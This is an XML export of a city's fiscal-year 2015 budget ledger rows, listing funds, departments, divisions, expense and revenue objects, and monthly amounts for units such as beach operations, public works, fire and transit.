<row _id="18065"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2725</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2725</total></row>
<row _id="18066"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>242338</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>242338</total></row>
<row _id="18067"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>11120</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11120</total></row>
<row _id="18068"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1029</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1029</total></row>
<row _id="18069"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>19500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>19500</total></row>
<row _id="18070"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>24000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>24000</total></row>
<row _id="18071"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>544200.0</object><object_description>SPORTS SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>45000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>45000</total></row>
<row _id="18072"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>239561</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>239561</total></row>
<row _id="18073"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>161470</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>161470</total></row>
<row _id="18074"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>510000.0</object><object_description>SALARIES AND WAGES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18075"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1338</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1338</total></row>
<row _id="18076"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>200</total></row>
<row _id="18077"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="18078"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>144</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>144</total></row>
<row _id="18079"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2639</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2639</total></row>
<row _id="18080"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3540</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3540</total></row>
<row _id="18081"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561112.0</object><object_description>CLARE COORDINATED CASE MGMT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4130</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4130</total></row>
<row _id="18082"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>544160.0</object><object_description>RIDESHARE PROGRAM</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>96000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>96000</total></row>
<row _id="18083"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>11792</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11792</total></row>
<row _id="18084"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>50072</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>50072</total></row>
<row _id="18085"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>181464</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>181464</total></row>
<row _id="18086"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4027</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4027</total></row>
<row _id="18087"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>32000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>32000</total></row>
<row _id="18088"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>8100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8100</total></row>
<row _id="18089"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-PUBLIC LAND</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-86610</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-86610</total></row>
<row _id="18090"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>16462</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>16462</total></row>
<row _id="18091"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>504</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>504</total></row>
<row _id="18092"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4756</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4756</total></row>
<row _id="18093"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>450052</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>450052</total></row>
<row _id="18094"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-OPEN SP</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18095"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2000</total></row>
<row _id="18096"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>68672</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>68672</total></row>
<row _id="18097"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3839</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3839</total></row>
<row _id="18098"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2186</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2186</total></row>
<row _id="18099"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>600</total></row>
<row _id="18100"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>20000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20000</total></row>
<row _id="18101"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="18102"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18103"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>533730.0</object><object_description>MOBILE DATA EQUIP &amp; MAINT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>70319</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>70319</total></row>
<row _id="18104"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>410100.0</object><object_description>FIRE MISCELLANEOUS REVENUE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-20000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-20000</total></row>
<row _id="18105"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>401420.0</object><object_description>TRANSACTION AND USE TAX</object_description><category_code>604.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2015</fiscal_year><july>-15675000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-15675000</total></row>
<row _id="18106"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579003.0</object><object_description>DISCRET-CRADLE TO CAREER</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18107"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579007.0</object><object_description>DISCRET-ORD ELECTION FEES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18108"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>406799.0</object><object_description>13 UASI GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-752076</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-752076</total></row>
<row _id="18109"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>408150.0</object><object_description>ALT FUEL TAX CREDIT</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18110"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>533123.0</object><object_description>CITY YARDS CNG STN MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>15500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15500</total></row>
<row _id="18111"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>14</fund_id><fund_name>TORCA Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>404060.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2015</fiscal_year><july>-50000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-50000</total></row>
<row _id="18112"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>500</total></row>
<row _id="18113"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>500</total></row>
